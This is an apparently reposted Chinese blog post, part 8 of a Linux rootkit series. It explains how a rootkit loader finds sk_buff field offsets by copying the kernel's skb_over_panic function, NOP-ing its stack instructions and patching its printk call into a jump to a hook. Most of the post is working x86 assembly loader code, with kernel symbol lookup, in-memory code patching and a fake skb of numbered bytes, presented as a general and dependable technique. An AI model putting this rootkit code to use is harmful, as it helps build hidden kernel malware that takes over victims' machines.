rootkit for linux 8.大大杀器---“模拟法”获得字段偏移

来源:互联网 发布:淘宝运营课件 编辑:程序博客网 时间:2024/05/16 14:22

今天发现了个方法,可以完美地获得skb各个字段的偏移,需要配合上篇文章讲的大杀器“xde反汇编器”。

暂时称这种方法为“模拟法”,网上应该有类似方法,但不知道叫什么名字。

 

以前,我们获得skb字段的偏移用的是手动波,在函数里找某个指令的特征码,这方法是很不靠谱的。在有了xde以后,我发现,这方法有时候还是不靠谱,例如一个运算需要0x40(%eax),0x50(%ebx),你咋知道哪个先取出来呢?取到哪里?所以,无论是手动波,还是自动波,针对某个指令的查找都是有些不靠谱的。

 

那咋办?

 

我们要把对象转为某个函数。看看这个函数。

  1. void skb_over_panic(struct sk_buff *skb, int sz, void *here)
  2. {
  3.     printk(KERN_EMERG "skb_over_panic: text:%p len:%d put:%d head:%p "
  4.                       "data:%p tail:%p end:%p dev:%s/n",
  5.            here, skb->len, sz, skb->head, skb->data, skb->tail, skb->end,
  6.            skb->dev ? skb->dev->name : "<NULL>");
  7.     BUG();
  8. }

看看,head, len, data, tail。。全部取了一次。但当初我为啥不选择这个函数来搜索?就是因为不知道它先取那个后取那个。但我们还是有解决办法的。

这个函数在 2.6.18 ~ 2.6.24 压根就没变过,还是在内核符号表里导出的,符合我们的先决条件。

关键的是,这个函数里只调用了一次call。(BUG() 被展开为 asm("ud2a; jmp ."))

如果我们把这个函数内容复制到我们的缓冲区中,然后把那个call printk改成jmp到我们自己的函数里,那不就等于“劫持”了它吗?在我们自己的函数里,就能得到skb各个字段的内容,但不是偏移

那内容怎么转化成偏移呢?很简单,恰好skb的长度在0x100左右,这真是太好了,这样我们就能放一个特殊的skb在我们的缓冲区里,然后把它的第一个字节的内容设成0x00,第二个字节的内容设成0x01。。。

这样,在我们的“劫持函数”里面,我们就可以获得各个字段的偏移了!!

 

要考虑的细节问题是skb_over_panic对esp的操作。所以,我们要把skb_over_panic开头(一般对栈的操作都放在开头)那几句push xxx; subl $xxx, %esp给搞掉,全部弄成nop,然后把 call printk 改成 jmp fake_get_skb_offsets。在fake_get_skb_offsets这个“劫持函数”里,再 jmp 回主函数。不就搞定了吗?!

 

我们要达到的效果就是:

改变前:

 

 

 

 

  1. push   %esi              
  2. mov    %edx,%esi         
  3. push   %ebx              
  4. mov    %eax,%ebx         
  5. sub    $0x24,%esp        
  6. mov    $0xc0315823,%edx  
  7. mov    0x14(%eax),%eax   
  8. test   %eax,%eax         
  9. je     0x17              
  10. mov    %eax,%edx         
  11. mov    0x88(%ebx),%eax   
  12. mov    %edx,0x20(%esp)   
  13. mov    %esi,0xc(%esp)    
  14. mov    %ecx,0x4(%esp)    
  15. mov    %eax,0x1c(%esp)   
  16. mov    0x84(%ebx),%eax   
  17. movl   $0xc032c660,(%esp)
  18. mov    %eax,0x18(%esp)   
  19. mov    0x90(%ebx),%eax   
  20. mov    %eax,0x14(%esp)   
  21. mov    0x8c(%ebx),%eax   
  22. mov    %eax,0x10(%esp)   
  23. mov    0x54(%ebx),%eax   
  24. mov    %eax,0x8(%esp)    
  25. call   0xffebb3b0       // call printk() 

 

改变后:

 

 

 

  1. nop                      
  2. mov    %edx,%esi         
  3. nop                      
  4. mov    %eax,%ebx         
  5. nop                      
  6. nop                      
  7. nop                     // 把对栈的操作都弄成 nop 
  8. mov    $0xc0315823,%edx  
  9. mov    0x14(%eax),%eax   
  10. test   %eax,%eax         
  11. je     0x17              
  12. mov    %eax,%edx         
  13. mov    0x88(%ebx),%eax   
  14. mov    %edx,0x20(%esp)   
  15. mov    %esi,0xc(%esp)    
  16. mov    %ecx,0x4(%esp)    
  17. mov    %eax,0x1c(%esp)   
  18. mov    0x84(%ebx),%eax   
  19. movl   $0xc032c660,(%esp)
  20. mov    %eax,0x18(%esp)   
  21. mov    0x90(%ebx),%eax   
  22. mov    %eax,0x14(%esp)   
  23. mov    0x8c(%ebx),%eax   
  24. mov    %eax,0x10(%esp)   
  25. mov    0x54(%ebx),%eax   
  26. mov    %eax,0x8(%esp)    
  27. jmp   0x268            // jmp 到我们自己的“劫持函数”             

实现一下:

 

  1.     /* find the offsets of skb */
  2.     jmp 2f
  3. #define addr_call 0x8
  4. fake_skb_over_panic:
  5. /* we will copy the true skb_over_panic here, and change
  6.     'call printk(...)' to 'jmp fake_get_skb_offsets'
  7. */
  8.     .fill 0x100
  9. struct_dism:
  10.     .fill sizeof_dism
  11. fake_struct_sk_buff:
  12. /* the content of this struct is:
  13.     00 01 02 03 ... 
  14.     easy to locate offsets :)
  15. */
  16.     .fill 0x140
  17. fake_get_skb_offsets:
  18. /*
  19.     void skb_over_panic(struct sk_buff *skb, int sz, void *here)
  20.     {
  21.         printk(KERN_EMERG "skb_over_panic: text:%p len:%d put:%d head:%p "
  22.                           "data:%p tail:%p end:%p dev:%s/n",
  23.                here, skb->len, sz, skb->head, skb->data, skb->tail, skb->end,
  24.                skb->dev ? skb->dev->name : "<NULL>");
  25.         BUG();
  26.     }
  27.     now, we want to fake printk. so:
  28.     skb->len = 0x8(%esp)
  29.     skb->head = 0x10(%esp)
  30.     skb->data = 0x14(%esp)
  31.     skb->tail = 0x18(%esp)
  32.     skb->end = 0x1c(%esp)
  33.     skb->dev = 0x20(%esp)
  34. */  
  35.     GET_ADDR(sk_buff.len, %eax)
  36.     movl 0x8(%esp), %ebx
  37.     andl $0xff, %ebx
  38.     movl %ebx, (%eax)
  39.     
  40.     GET_ADDR(sk_buff.data, %eax)
  41.     movl 0x14(%esp), %ebx
  42.     andl $0xff, %ebx
  43.     movl %ebx, (%eax)
  44.     
  45.     GET_ADDR(sk_buff.tail, %eax)
  46.     movl 0x18(%esp), %ebx
  47.     andl $0xff, %ebx
  48.     movl %ebx, (%eax)
  49.     GET_ADDR(sk_buff.end, %eax)
  50.     movl 0x1c(%esp), %ebx
  51.     andl $0xff, %ebx
  52.     movl %ebx, (%eax)
  53.     GET_ADDR(sk_buff.dev, %eax)
  54.     movl 0x20(%esp), %ebx
  55.     andl $0xff, %ebx
  56.     movl %ebx, (%eax)
  57.     jmp fake_get_skb_offsets_ret
  58. 2:  GET_ADDR(fake_struct_sk_buff, %edi)
  59.     xorl %ecx, %ecx
  60. 1:  movb %cl, (%edi)
  61.     incl %edi
  62.     incl %ecx
  63.     cmpl $0x100, %ecx
  64.     jl 1b
  65.     // fill fake sk_buff
  66.     GET_STR("skb_over_panic", %eax)
  67.     movl $14, %edx
  68.     call ksym_lookup
  69.     jz loader_out
  70.     movl %eax, %esi
  71.     GET_ADDR(fake_skb_over_panic, %edi)
  72.     movl $0x100, %ecx
  73.     cld; rep movsb
  74.     GET_ADDR(fake_skb_over_panic, %eax)
  75.     leal 0x100(%eax), %edi
  76.     movl %eax, %esi
  77.     movl $0, addr_call(%esp)
  78. 1:  movl %esi, %eax
  79.     GET_ADDR(struct_dism, %edx)
  80.     call xde_dism
  81.     testl %eax, %eax
  82.     jz loader_out
  83.     movl %eax, %ebp
  84.     
  85.     cmpb $0xe8, dism_opcode(%edx)
  86.     jz 3f
  87.     cmpb $0x83, dism_opcode(%edx)
  88.     jz 6f
  89.     movb dism_opcode(%edx), %al
  90.     andb $0x50, %al
  91.     cmpb $0x50, %al
  92.     jnz 2f
  93.     cmpl $1, dism_len(%edx)
  94.     jz 7f
  95. 2:  addl %ebp, %esi
  96.     cmpl %edi, %esi
  97.     jl 1b
  98.     jmp 5f
  99.     
  100. 3:  // meet call printk(...
  101.     cmpl $0, addr_call(%esp)
  102.     jnz 2b
  103.     movl %esi, addr_call(%esp)
  104. #ifdef _DEBUG_
  105.     movl %esi, 4(%esp)
  106.     DPRINT("meet printk at %lx/n")
  107. #endif
  108.     jmp 2b
  109. 6:  // meet sub $xx, %esp; fuck it !!; fill it with 'nop'
  110.     movw $0x9090, (%esi)
  111.     movb $0x90, 2(%esi)
  112.     jmp 2b
  113. 7:  // meet push xxx; fuck it too !!
  114.     movb $0x90, (%esi)
  115.     jmp 2b
  116. 5:  
  117. #ifdef _DEBUG_
  118.     DPRINT("finish./n")
  119. #endif
  120.     GET_ADDR(fake_get_skb_offsets, %eax)
  121.     movl addr_call(%esp), %ebx
  122.     addl $5, %ebx
  123.     subl %ebx, %eax
  124.     movl %eax, -4(%ebx)
  125.     movb $0xe9, -5(%ebx)
  126.     subl $0x40, %esp
  127.     GET_ADDR(fake_struct_sk_buff, %eax)
  128.     jmp fake_skb_over_panic
  129. fake_get_skb_offsets_ret:
  130.     addl $0x40, %esp
  131. #undef addr_call
  132.     // get sk_buff.protocol
  133.     GET_STR("skb_gso_segment", %eax)
  134.     movl $15, %edx
  135.     call ksym_lookup
  136.     jz loader_out
  137.     movw $0xb70f, 4(%esp)
  138.     movl $0x100, %edx
  139.     leal 4(%esp), %ecx
  140.     movl $2, (%esp)
  141.     call memmem
  142.     jz loader_out
  143.     movzbl 3(%eax), %eax
  144.     GET_ADDR(sk_buff.protocol, %ebx)
  145.     movl %eax, (%ebx)
  146. #ifdef _DEBUG_
  147.     GET_ADDR(sk_buff.len, %eax)
  148.     movl (%eax), %eax
  149.     movl %eax, 0x4(%esp)
  150.     GET_ADDR(sk_buff.data, %eax)
  151.     movl (%eax), %eax
  152.     movl %eax, 0x8(%esp)
  153.     GET_ADDR(sk_buff.tail, %eax)
  154.     movl (%eax), %eax
  155.     movl %eax, 0xc(%esp)
  156.     GET_ADDR(sk_buff.end, %eax)
  157.     movl (%eax), %eax
  158.     movl %eax, 0x10(%esp)
  159.     GET_ADDR(sk_buff.dev, %eax)
  160.     movl (%eax), %eax
  161.     movl %eax, 0x14(%esp)
  162.     GET_ADDR(sk_buff.protocol, %eax)
  163.     movl (%eax), %eax
  164.     movl %eax, 0x18(%esp)
  165.     DPRINT("<3>skb_buff len %lx, data %lx, tail %lx, end %lx, dev %lx, protocol %lx/n")
  166. #endif

 

看看效果:

 

skb_buff len 54, data 90, tail 84, end 88, dev 14, protocol 6a

哈哈,成功了!

 

这方法不仅通用,而且非常靠谱!!